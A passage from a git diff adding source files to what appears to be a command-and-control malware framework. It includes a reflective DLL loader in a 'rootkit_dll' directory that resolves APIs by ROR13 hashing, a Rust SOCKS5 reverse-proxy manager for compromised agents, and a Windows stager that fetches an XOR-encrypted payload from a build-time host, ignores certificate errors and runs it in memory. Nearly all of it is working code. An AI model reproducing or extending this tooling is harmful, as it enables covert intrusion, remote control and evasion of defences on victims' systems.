= 0; i < entry->BaseDllName.Length; i++) { + CHAR c = ((LPCSTR)entry->BaseDllName.Buffer)[i]; + hash = ((hash >> 13) | (hash << 19)) + (c >= 'a' ? c - 0x20 : c); + } + } + if (hash == moduleHash) return entry->DllBase; + } while ((entry = (PRK_LDR_DATA_TABLE_ENTRY)entry->InMemoryOrderModuleList.Flink) != first); + + return NULL; +} + +/* ============================================================================ + * ROR13 hash-based function lookup + * + * Given a module hash, resolves the module base via PebGetModuleHandle, + * then walks the export directory computing ROR13 hashes of each + * exported function name until a match is found. + * ============================================================================ */ + +LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) { + LPBYTE dllBase = (LPBYTE)PebGetModuleHandle(moduleHash); + if (!dllBase) return NULL; + + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + dosHeader->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)( + dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + LPDWORD names = (LPDWORD)(dllBase + exports->AddressOfNames); + LPWORD ordinals = (LPWORD)(dllBase + exports->AddressOfNameOrdinals); + LPDWORD funcs = (LPDWORD)(dllBase + exports->AddressOfFunctions); + + for (DWORD i = 0; i < exports->NumberOfNames; i++, names++, ordinals++) { + DWORD hash = 0; + for (LPCSTR fn = (LPCSTR)(dllBase + *names); *fn; fn++) { + hash = ((hash >> 13) | (hash << 19)) + *fn; + } + if (hash == functionHash) { + return dllBase + funcs[*ordinals]; + } + } + + return NULL; +} diff --git a/src/rootkit_dll/reflective.c b/src/rootkit_dll/reflective.c new file mode 100755 index 0000000..0aebe7b --- /dev/null +++ b/src/rootkit_dll/reflective.c @@ -0,0 +1,305 @@ +/* + * reflective.c - Reflective DLL loader (adapted from r77 rootkit) + * + * This is the entry point called by the injector after writing the DLL + * into the target process. It manually loads the DLL from raw bytes in + * memory: maps sections, resolves imports, applies relocations, sets + * memory protections, and finally calls the real DllMain. + * + * IMPORTANT: This code must be position-independent. No switch + * statements, no string literals stored in .rdata, no jump tables. + * All function calls are resolved via PEB hashing. + */ + +#include +#include + +/* ============================================================================ + * PEB resolution functions (defined in peb.c) + * ============================================================================ */ + +extern LPVOID PebGetModuleHandle(DWORD moduleHash); +extern LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); + +/* ============================================================================ + * Pre-computed ROR13 hashes for modules and functions + * ============================================================================ */ + +/* Module hashes (ROR13 over uppercase BaseDllName raw bytes) */ +#define HASH_KERNEL32 0x6A4ABC5B +#define HASH_NTDLL 0x3CFA685D + +/* Function hashes (ROR13 over function name ASCII) */ +#define HASH_LOADLIBRARYA 0xEC0E4E8E +#define HASH_GETPROCADDRESS 0x7C0DFCAA +#define HASH_VIRTUALALLOC 0x91AFCA54 +#define HASH_VIRTUALPROTECT 0x7946C61B +#define HASH_NTFLUSHINSTRUCTIONCACHE 0x534C0AB8 + +/* ============================================================================ + * IMAGE_RELOC helper structure + * ============================================================================ */ + +typedef struct _IMAGE_RELOC { + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, *PIMAGE_RELOC; + +/* ============================================================================ + * Section characteristics to memory protection flags + * ============================================================================ */ + +static DWORD SectionCharacteristicsToProtection(DWORD characteristics) { + BOOL execute = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + BOOL read = (characteristics & IMAGE_SCN_MEM_READ) != 0; + BOOL write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0; + + /* Map the 8 possible combinations to PAGE_* constants. + * Using if-else chains instead of switch to avoid jump tables. */ + if (execute && read && write) return PAGE_EXECUTE_READWRITE; + if (execute && read && !write) return PAGE_EXECUTE_READ; + if (execute && !read && write) return PAGE_EXECUTE_WRITECOPY; + if (execute && !read && !write) return PAGE_EXECUTE; + if (!execute && read && write) return PAGE_READWRITE; + if (!execute && read && !write) return PAGE_READONLY; + if (!execute && !read && write) return PAGE_WRITECOPY; + /* !execute && !read && !write */ + return PAGE_NOACCESS; +} + +/* ============================================================================ + * ReflectiveDllMain - Main reflective loader entry point + * + * Called by the injector with dllBase pointing to the raw DLL image + * in the target process's memory. Performs manual mapping and calls + * the real DllMain(DLL_PROCESS_ATTACH). + * ============================================================================ */ + +__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) { + /* --------------------------------------------------------------- + * Step 0: Resolve essential functions via PEB + * --------------------------------------------------------------- */ + + typedef HMODULE (WINAPI *fnLoadLibraryA)(LPCSTR); + typedef FARPROC (WINAPI *fnGetProcAddress)(HMODULE, LPCSTR); + typedef LPVOID (WINAPI *fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); + typedef BOOL (WINAPI *fnVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + typedef NTSTATUS (NTAPI *fnNtFlushInstructionCache)(HANDLE, PVOID, SIZE_T); + + fnLoadLibraryA pLoadLibraryA = (fnLoadLibraryA)PebGetProcAddress(HASH_KERNEL32, HASH_LOADLIBRARYA); + fnGetProcAddress pGetProcAddress = (fnGetProcAddress)PebGetProcAddress(HASH_KERNEL32, HASH_GETPROCADDRESS); + fnVirtualAlloc pVirtualAlloc = (fnVirtualAlloc)PebGetProcAddress(HASH_KERNEL32, HASH_VIRTUALALLOC); + fnVirtualProtect pVirtualProtect = (fnVirtualProtect)PebGetProcAddress(HASH_KERNEL32, HASH_VIRTUALPROTECT); + fnNtFlushInstructionCache pNtFlush = (fnNtFlushInstructionCache)PebGetProcAddress(HASH_NTDLL, HASH_NTFLUSHINSTRUCTIONCACHE); + + if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pVirtualProtect) { + return FALSE; + } + + /* --------------------------------------------------------------- + * Step 1: Parse and validate PE headers from the raw DLL image + * --------------------------------------------------------------- */ + + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBase; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; + + /* Validate e_lfanew: must be after the DOS header and within a sane range */ + if (dosHeader->e_lfanew < (LONG)sizeof(IMAGE_DOS_HEADER) || + dosHeader->e_lfanew > 0x10000000) return FALSE; + + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return FALSE; + + PIMAGE_OPTIONAL_HEADER optHeader = &ntHeaders->OptionalHeader; + if (optHeader->SizeOfImage == 0 || optHeader->SizeOfHeaders == 0) return FALSE; + + /* --------------------------------------------------------------- + * Step 2: Allocate memory for the mapped image + * --------------------------------------------------------------- */ + + LPBYTE imageBase = (LPBYTE)pVirtualAlloc( + (LPVOID)optHeader->ImageBase, + optHeader->SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE); + + /* If preferred base is not available, let the OS choose */ + if (!imageBase) { + imageBase = (LPBYTE)pVirtualAlloc( + NULL, + optHeader->SizeOfImage, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE); + } + + if (!imageBase) return FALSE; + + /* --------------------------------------------------------------- + * Step 3: Copy PE headers + * --------------------------------------------------------------- */ + + LPBYTE src = dllBase; + LPBYTE dst = imageBase; + for (DWORD i = 0; i < optHeader->SizeOfHeaders; i++) { + dst[i] = src[i]; + } + + /* --------------------------------------------------------------- + * Step 4: Copy sections + * --------------------------------------------------------------- */ + + PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(ntHeaders); + WORD numSections = ntHeaders->FileHeader.NumberOfSections; + + for (WORD i = 0; i < numSections; i++) { + if (sections[i].SizeOfRawData == 0) continue; + + dst = imageBase + sections[i].VirtualAddress; + src = dllBase + sections[i].PointerToRawData; + + for (DWORD j = 0; j < sections[i].SizeOfRawData; j++) { + dst[j] = src[j]; + } + } + + /* --------------------------------------------------------------- + * Step 5: Process relocations + * --------------------------------------------------------------- */ + + ULONGLONG delta = (ULONGLONG)imageBase - (ULONGLONG)optHeader->ImageBase; + + if (delta != 0 && optHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0) { + PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)( + imageBase + optHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + + while (reloc->VirtualAddress > 0) { + LPBYTE relocPage = imageBase + reloc->VirtualAddress; + DWORD numEntries = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + PIMAGE_RELOC entries = (PIMAGE_RELOC)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < numEntries; i++) { + if (entries[i].type == IMAGE_REL_BASED_DIR64) { + *(ULONGLONG *)(relocPage + entries[i].offset) += delta; + } else if (entries[i].type == IMAGE_REL_BASED_HIGHLOW) { + *(DWORD *)(relocPage + entries[i].offset) += (DWORD)delta; + } else if (entries[i].type == IMAGE_REL_BASED_HIGH) { + *(WORD *)(relocPage + entries[i].offset) += HIWORD(delta); + } else if (entries[i].type == IMAGE_REL_BASED_LOW) { + *(WORD *)(relocPage + entries[i].offset) += LOWORD(delta); + } + /* IMAGE_REL_BASED_ABSOLUTE (type 0) = padding, skip */ + } + + reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); + } + } + + /* --------------------------------------------------------------- + * Step 6: Resolve imports + * --------------------------------------------------------------- */ + + if (optHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) { + PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)( + imageBase + optHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + + while (importDesc->Name) { + LPCSTR moduleName = (LPCSTR)(imageBase + importDesc->Name); + HMODULE hModule = pLoadLibraryA(moduleName); + + if (hModule) { + PIMAGE_THUNK_DATA origThunk; + PIMAGE_THUNK_DATA boundThunk; + + if (importDesc->OriginalFirstThunk) { + origThunk = (PIMAGE_THUNK_DATA)(imageBase + importDesc->OriginalFirstThunk); + } else { + origThunk = (PIMAGE_THUNK_DATA)(imageBase + importDesc->FirstThunk); + } + boundThunk = (PIMAGE_THUNK_DATA)(imageBase + importDesc->FirstThunk); + + while (origThunk->u1.AddressOfData) { +#ifdef _WIN64 + if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { + LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF); +#else + if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32) { + LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF); +#endif + boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress(hModule, ordinal); + } else { + PIMAGE_IMPORT_BY_NAME importByName = (PIMAGE_IMPORT_BY_NAME)( + imageBase + origThunk->u1.AddressOfData); + boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress( + hModule, (LPCSTR)importByName->Name); + } + + origThunk++; + boundThunk++; + } + } + + importDesc++; + } + } + + /* --------------------------------------------------------------- + * Step 7: Update ImageBase in mapped headers (BEFORE setting protection) + * --------------------------------------------------------------- */ + + { + PIMAGE_NT_HEADERS mappedNtHeaders = (PIMAGE_NT_HEADERS)(imageBase + dosHeader->e_lfanew); + mappedNtHeaders->OptionalHeader.ImageBase = (ULONG_PTR)imageBase; + } + + /* --------------------------------------------------------------- + * Step 8: Set proper memory protections per section + * --------------------------------------------------------------- */ + + for (WORD i = 0; i < numSections; i++) { + if (sections[i].SizeOfRawData == 0 && sections[i].Misc.VirtualSize == 0) continue; + + DWORD protect = SectionCharacteristicsToProtection(sections[i].Characteristics); + DWORD size = sections[i].Misc.VirtualSize; + if (size == 0) size = sections[i].SizeOfRawData; + + /* Apply no-cache if specified */ + if (sections[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) { + protect |= PAGE_NOCACHE; + } + + DWORD oldProtect; + pVirtualProtect( + imageBase + sections[i].VirtualAddress, + size, + protect, + &oldProtect); + } + + /* Protect PE headers as read-only */ + { + DWORD oldProtect; + pVirtualProtect(imageBase, optHeader->SizeOfHeaders, PAGE_READONLY, &oldProtect); + } + + /* --------------------------------------------------------------- + * Step 9: Flush instruction cache + * --------------------------------------------------------------- */ + + if (pNtFlush) { + pNtFlush((HANDLE)-1, NULL, 0); + } + + /* --------------------------------------------------------------- + * Step 10: Call the real DllMain + * --------------------------------------------------------------- */ + + typedef BOOL (WINAPI *fnDllMain)(HMODULE, DWORD, LPVOID); + + fnDllMain pDllMain = (fnDllMain)(imageBase + optHeader->AddressOfEntryPoint); + + BOOL dllResult = pDllMain((HMODULE)imageBase, DLL_PROCESS_ATTACH, NULL); + + /* If DllMain returned FALSE (e.g., already-injected signature detected), + * propagate the result so the injector can detect it and clean up. */ + return dllResult; +} diff --git a/src/socks5.rs b/src/socks5.rs new file mode 100755 index 0000000..0e7086a --- /dev/null +++ b/src/socks5.rs @@ -0,0 +1,208 @@ +use bytes::{Bytes, BytesMut, BufMut}; +use dashmap::DashMap; +use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering}; +use std::sync::Arc; +use tokio::sync::{mpsc, oneshot}; +use tokio::task::JoinHandle; + +// ── Wire Protocol Constants ───────────────────────────────────────── + +pub const MSG_OPEN: u8 = 0x01; +pub const MSG_OPEN_OK: u8 = 0x02; +pub const MSG_OPEN_FAIL: u8 = 0x03; +pub const MSG_DATA: u8 = 0x04; +pub const MSG_CLOSE: u8 = 0x05; +pub const MSG_PING: u8 = 0x06; +pub const MSG_PONG: u8 = 0x07; + +// ── Wire Helpers ──────────────────────────────────────────────────── + +/// Build an OPEN message: [0x01][channel_id u32 LE][host_len u8][host][port u16 LE] +pub fn build_open(channel_id: u32, host: &str, port: u16) -> Bytes { + let host_bytes = host.as_bytes(); + let len = 1 + 4 + 1 + host_bytes.len() + 2; + let mut buf = BytesMut::with_capacity(len); + buf.put_u8(MSG_OPEN); + buf.put_u32_le(channel_id); + buf.put_u8(host_bytes.len() as u8); + buf.put_slice(host_bytes); + buf.put_u16_le(port); + buf.freeze() +} + +/// Build a DATA message: [0x04][channel_id u32 LE][data_len u16 LE][data] +/// +/// Panics in debug builds if `data.len() > u16::MAX`. Callers must +/// chunk data appropriately (the relay loop uses a 32 KB buffer). +pub fn build_data(channel_id: u32, data: &[u8]) -> Bytes { + debug_assert!( + data.len() <= u16::MAX as usize, + "build_data: payload {} exceeds u16::MAX", + data.len() + ); + let len = 1 + 4 + 2 + data.len(); + let mut buf = BytesMut::with_capacity(len); + buf.put_u8(MSG_DATA); + buf.put_u32_le(channel_id); + buf.put_u16_le(data.len() as u16); + buf.put_slice(data); + buf.freeze() +} + +/// Build a CLOSE message: [0x05][channel_id u32 LE] +pub fn build_close(channel_id: u32) -> Bytes { + let mut buf = BytesMut::with_capacity(5); + buf.put_u8(MSG_CLOSE); + buf.put_u32_le(channel_id); + buf.freeze() +} + +/// Build a PING message: [0x06][0x00000000] +pub fn build_ping() -> Bytes { + let mut buf = BytesMut::with_capacity(5); + buf.put_u8(MSG_PING); + buf.put_u32_le(0); + buf.freeze() +} + +/// Parse an incoming wire message. Returns (msg_type, channel_id, payload). +pub fn parse_message(data: &[u8]) -> Option<(u8, u32, &[u8])> { + if data.len() < 5 { + return None; + } + let msg_type = data[0]; + let channel_id = u32::from_le_bytes([data[1], data[2], data[3], data[4]]); + let payload = &data[5..]; + Some((msg_type, channel_id, payload)) +} + +// ── Per-Channel State ─────────────────────────────────────────────── + +/// State for a single SOCKS5 client connection (one proxied TCP stream). +pub struct Socks5Channel { + pub channel_id: u32, + /// Send data from agent → SOCKS5 client TCP socket. + pub client_tx: mpsc::Sender, + /// Oneshot to signal OPEN_OK or OPEN_FAIL back to the SOCKS5 handshake. + pub open_result_tx: Option>>, +} + +// ── Session ───────────────────────────────────────────────────────── + +/// A single SOCKS5 reverse proxy session for one agent. +pub struct Socks5Session { + pub agent_id: String, + pub token: String, + pub listen_port: u16, + pub active: AtomicBool, + pub next_channel_id: AtomicU32, + pub channels: DashMap, + /// Sender for messages going server → agent over the WebSocket. + pub agent_tx: mpsc::Sender, + /// Receiver for agent_tx — taken once by the agent WebSocket handler. + pub agent_rx: tokio::sync::Mutex>>, + /// TCP listener task handle (for cleanup). + pub listener_handle: tokio::sync::Mutex>>, + /// Keepalive task handle. + pub keepalive_handle: tokio::sync::Mutex>>, + /// Traffic counters. + pub bytes_in: AtomicU64, + pub bytes_out: AtomicU64, +} + +impl Socks5Session { + pub fn alloc_channel_id(&self) -> u32 { + self.next_channel_id.fetch_add(1, Ordering::Relaxed) + } + + pub fn close_channel(&self, channel_id: u32) { + self.channels.remove(&channel_id); + } + + pub fn close_all_channels(&self) { + self.channels.clear(); + } +} + +// ── Session Manager ───────────────────────────────────────────────── + +const MAX_SESSIONS: usize = 100; + +#[derive(Clone)] +pub struct Socks5Manager { + by_token: Arc>>, + by_agent: Arc>, // agent_id -> token +} + +impl Socks5Manager { + pub fn new() -> Self { + Self { + by_token: Arc::new(DashMap::new()), + by_agent: Arc::new(DashMap::new()), + } + } + + /// Create a new SOCKS5 session. Returns (token, session). + /// The agent_rx is stored inside the session and taken by the agent WS handler. + pub fn create_session( + &self, + agent_id: &str, + listen_port: u16, + ) -> Option<(String, Arc)> { + if self.by_token.len() >= MAX_SESSIONS { + tracing::warn!("SOCKS5 session cap ({}) reached", MAX_SESSIONS); + return None; + } + + let token: String = (0..32) + .map(|_| format!("{:02x}", rand::random::())) + .collect(); + + let (agent_tx, agent_rx) = mpsc::channel(4096); + + let session = Arc::new(Socks5Session { + agent_id: agent_id.to_string(), + token: token.clone(), + listen_port, + active: AtomicBool::new(true), + next_channel_id: AtomicU32::new(1), + channels: DashMap::new(), + agent_tx, + agent_rx: tokio::sync::Mutex::new(Some(agent_rx)), + listener_handle: tokio::sync::Mutex::new(None), + keepalive_handle: tokio::sync::Mutex::new(None), + bytes_in: AtomicU64::new(0), + bytes_out: AtomicU64::new(0), + }); + + self.by_token.insert(token.clone(), session.clone()); + self.by_agent.insert(agent_id.to_string(), token.clone()); + + Some((token, session)) + } + + pub fn get_by_token(&self, token: &str) -> Option> { + self.by_token.get(token).map(|r| r.value().clone()) + } + + pub fn get_by_agent(&self, agent_id: &str) -> Option> { + let token = self.by_agent.get(agent_id)?; + self.by_token.get(token.value().as_str()).map(|r| r.value().clone()) + } + + pub async fn stop_session(&self, agent_id: &str) { + if let Some((_, token)) = self.by_agent.remove(agent_id) { + if let Some((_, session)) = self.by_token.remove(&token) { + session.active.store(false, Ordering::Release); + session.close_all_channels(); + // Abort the TCP listener task + if let Some(handle) = session.listener_handle.lock().await.take() { + handle.abort(); + } + if let Some(handle) = session.keepalive_handle.lock().await.take() { + handle.abort(); + } + } + } + } +} diff --git a/src/stager/pe_loader.c b/src/stager/pe_loader.c new file mode 100755 index 0000000..e71333d --- /dev/null +++ b/src/stager/pe_loader.c @@ -0,0 +1,140 @@ +#include "pe_loader.h" +#include + +typedef int (*entry_fn_t)(void); + +static int apply_relocations(unsigned char *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) { + IMAGE_DATA_DIRECTORY *reloc_dir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (reloc_dir->VirtualAddress == 0 || reloc_dir->Size == 0) + return 0; + + IMAGE_BASE_RELOCATION *reloc = (IMAGE_BASE_RELOCATION *)(base + reloc_dir->VirtualAddress); + IMAGE_BASE_RELOCATION *reloc_end = (IMAGE_BASE_RELOCATION *)((unsigned char *)reloc + reloc_dir->Size); + + while (reloc < reloc_end && reloc->SizeOfBlock > 0) { + DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD *entries = (WORD *)(reloc + 1); + unsigned char *page = base + reloc->VirtualAddress; + + for (DWORD i = 0; i < count; i++) { + WORD type = entries[i] >> 12; + WORD offset = entries[i] & 0x0FFF; + if (type == IMAGE_REL_BASED_DIR64) { + *(ULONGLONG *)(page + offset) += (ULONGLONG)delta; + } else if (type == IMAGE_REL_BASED_HIGHLOW) { + *(DWORD *)(page + offset) += (DWORD)delta; + } + } + reloc = (IMAGE_BASE_RELOCATION *)((unsigned char *)reloc + reloc->SizeOfBlock); + } + return 0; +} + +static int resolve_imports(unsigned char *base, IMAGE_NT_HEADERS *nt) { + IMAGE_DATA_DIRECTORY *import_dir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (import_dir->VirtualAddress == 0) + return 0; + + IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_dir->VirtualAddress); + while (desc->Name) { + const char *dll_name = (const char *)(base + desc->Name); + HMODULE dll = LoadLibraryA(dll_name); + if (!dll) return -1; + + IMAGE_THUNK_DATA *orig = desc->OriginalFirstThunk + ? (IMAGE_THUNK_DATA *)(base + desc->OriginalFirstThunk) + : (IMAGE_THUNK_DATA *)(base + desc->FirstThunk); + IMAGE_THUNK_DATA *thunk = (IMAGE_THUNK_DATA *)(base + desc->FirstThunk); + + while (orig->u1.AddressOfData) { + FARPROC func; + if (IMAGE_SNAP_BY_ORDINAL(orig->u1.Ordinal)) { + func = GetProcAddress(dll, (LPCSTR)IMAGE_ORDINAL(orig->u1.Ordinal)); + } else { + IMAGE_IMPORT_BY_NAME *name = (IMAGE_IMPORT_BY_NAME *)(base + orig->u1.AddressOfData); + func = GetProcAddress(dll, (LPCSTR)name->Name); + } + if (!func) return -1; + thunk->u1.Function = (ULONGLONG)func; + orig++; + thunk++; + } + desc++; + } + return 0; +} + +int pe_load_and_execute(const unsigned char *pe_data, size_t pe_size) { + if (pe_size < sizeof(IMAGE_DOS_HEADER)) return -1; + + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1; + + IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return -1; + + SIZE_T image_size = nt->OptionalHeader.SizeOfImage; + + // Allocate at preferred base, fallback to any address + unsigned char *base = (unsigned char *)VirtualAlloc( + (LPVOID)nt->OptionalHeader.ImageBase, image_size, + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!base) { + base = (unsigned char *)VirtualAlloc( + NULL, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + } + if (!base) return -1; + + // Copy headers + memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders); + + // Map sections + IMAGE_SECTION_HEADER *sections = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (sections[i].SizeOfRawData > 0) { + memcpy(base + sections[i].VirtualAddress, + pe_data + sections[i].PointerToRawData, + sections[i].SizeOfRawData); + } + } + + // Fix NT headers pointer to mapped image + IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew); + + // Apply relocations + ptrdiff_t delta = (ptrdiff_t)(base - (unsigned char *)nt->OptionalHeader.ImageBase); + if (delta != 0) { + if (apply_relocations(base, mapped_nt, delta) != 0) { + VirtualFree(base, 0, MEM_RELEASE); + return -1; + } + } + + // Resolve imports + if (resolve_imports(base, mapped_nt) != 0) { + VirtualFree(base, 0, MEM_RELEASE); + return -1; + } + + // Set section permissions + for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) { + DWORD protect = PAGE_READONLY; + DWORD chars = sections[i].Characteristics; + if ((chars & IMAGE_SCN_MEM_EXECUTE) && (chars & IMAGE_SCN_MEM_WRITE)) + protect = PAGE_EXECUTE_READWRITE; + else if (chars & IMAGE_SCN_MEM_EXECUTE) + protect = PAGE_EXECUTE_READ; + else if (chars & IMAGE_SCN_MEM_WRITE) + protect = PAGE_READWRITE; + + DWORD old; + VirtualProtect(base + sections[i].VirtualAddress, + sections[i].Misc.VirtualSize, protect, &old); + } + + // Call entry point + entry_fn_t entry = (entry_fn_t)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint); + entry(); + + return 0; +} diff --git a/src/stager/pe_loader.h b/src/stager/pe_loader.h new file mode 100755 index 0000000..160634f --- /dev/null +++ b/src/stager/pe_loader.h @@ -0,0 +1,10 @@ +#ifndef STAGER_PE_LOADER_H +#define STAGER_PE_LOADER_H + +#include + +// Load a PE image from a memory buffer and execute its entry point. +// Returns 0 on success, -1 on failure. +int pe_load_and_execute(const unsigned char *pe_data, size_t pe_size); + +#endif diff --git a/src/stager/stager.c b/src/stager/stager.c new file mode 100755 index 0000000..67e2db3 --- /dev/null +++ b/src/stager/stager.c @@ -0,0 +1,111 @@ +#include +#include +#include +#include +#include "pe_loader.h" + +#pragma comment(lib, "winhttp") + +// Per-stager XOR key (32 bytes) — patched at build time by build_stager.py +static const unsigned char STAGE_KEY[32] = { + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +}; + +// Staging URL components — patched at build time +static const wchar_t STAGE_HOST[] = L"PLACEHOLDER_HOST_PLACEHOLDER_HOST"; +static const wchar_t STAGE_PATH[] = L"/api/payloads/PLACEHOLDER_ID_PLACEHOLDER/stage"; +static const INTERNET_PORT STAGE_PORT = 443; + +static void xor_decrypt(unsigned char *data, size_t len, + const unsigned char *key, size_t key_len) { + for (size_t i = 0; i < len; i++) + data[i] ^= key[i % key_len]; +} + +static unsigned char *download_payload(size_t *out_len) { + *out_len = 0; + + HINTERNET session = WinHttpOpen( + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + if (!session) return NULL; + + HINTERNET connect = WinHttpConnect(session, STAGE_HOST, STAGE_PORT, 0); + if (!connect) { WinHttpCloseHandle(session); return NULL; } + + HINTERNET request = WinHttpOpenRequest(connect, L"GET", STAGE_PATH, + NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, + WINHTTP_FLAG_SECURE); + if (!request) { + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return NULL; + } + + // Accept self-signed certs + DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + WinHttpSetOption(request, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)); + + if (!WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, 0, 0) || + !WinHttpReceiveResponse(request, NULL)) { + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return NULL; + } + + // Read into growing buffer + unsigned char *buf = NULL; + size_t total = 0; + DWORD avail, nread; + while (WinHttpQueryDataAvailable(request, &avail) && avail > 0) { + unsigned char *tmp = (unsigned char *)realloc(buf, total + avail); + if (!tmp) { free(buf); buf = NULL; total = 0; break; } + buf = tmp; + if (!WinHttpReadData(request, buf + total, avail, &nread)) break; + total += nread; + } + + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + + *out_len = total; + return buf; +} + +int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) { + (void)h; (void)hp; (void)cmd; (void)show; + + size_t payload_len; + unsigned char *payload = download_payload(&payload_len); + if (!payload || payload_len < 1024) + return 1; + + // Decrypt + xor_decrypt(payload, payload_len, STAGE_KEY, sizeof(STAGE_KEY)); + + // Verify MZ + if (payload[0] != 'M' || payload[1] != 'Z') { + memset(payload, 0, payload_len); + free(payload); + return 1; + } + + // Load and execute + int result = pe_load_and_execute(payload, payload_len); + + memset(payload, 0, payload_len); + free(payload); + + return result; +} diff --git a/src/state.rs b/src/state.rs new file mode 100755 index 0000000..172d942 --- /dev/null +++ b/src/state.rs @@ -0,0 +1,43 @@ +use sqlx::PgPool; +use std::sync::Arc; +use tokio::sync::Semaphore; + +use crate::agents::AgentRegistry; +use crate::config::ServerConfig; +use crate::crypto::ServerKeyPair; +use crate::events::EventBus; +use crate::socks5::Socks5Manager; +use crate::vnc::VncSessionManager; + +/// Shared application state accessible from all handlers. +#[derive(Clone)] +pub struct AppState { + pub config: ServerConfig, + pub db: PgPool, + pub server_keypair: Arc, + pub agents: AgentRegistry, + pub event_bus: EventBus, + pub vnc_sessions: VncSessionManager, + pub socks5_sessions: Socks5Manager, + /// Limits concurrent payload builds to 1 so GCC processes don't compete for CPU. + pub build_semaphore: Arc, +} + +impl AppState { + pub fn new( + config: ServerConfig, + db: PgPool, + server_keypair: ServerKeyPair, + ) -> Self { + Self { + config, + db, + server_keypair: Arc::new(server_keypair), + agents: AgentRegistry::new(), + event_bus: EventBus::new(65_536, 50_000), + vnc_sessions: VncSessionManager::new(), + socks5_sessions: Socks5Manager::new(), + build_semaphore: Arc::new(Semaphore::new(1)), + } + } +} diff --git a/src/tasks/mod.rs b/src/tasks/mod.rs new file mode 100755 index 0000000..b08c465 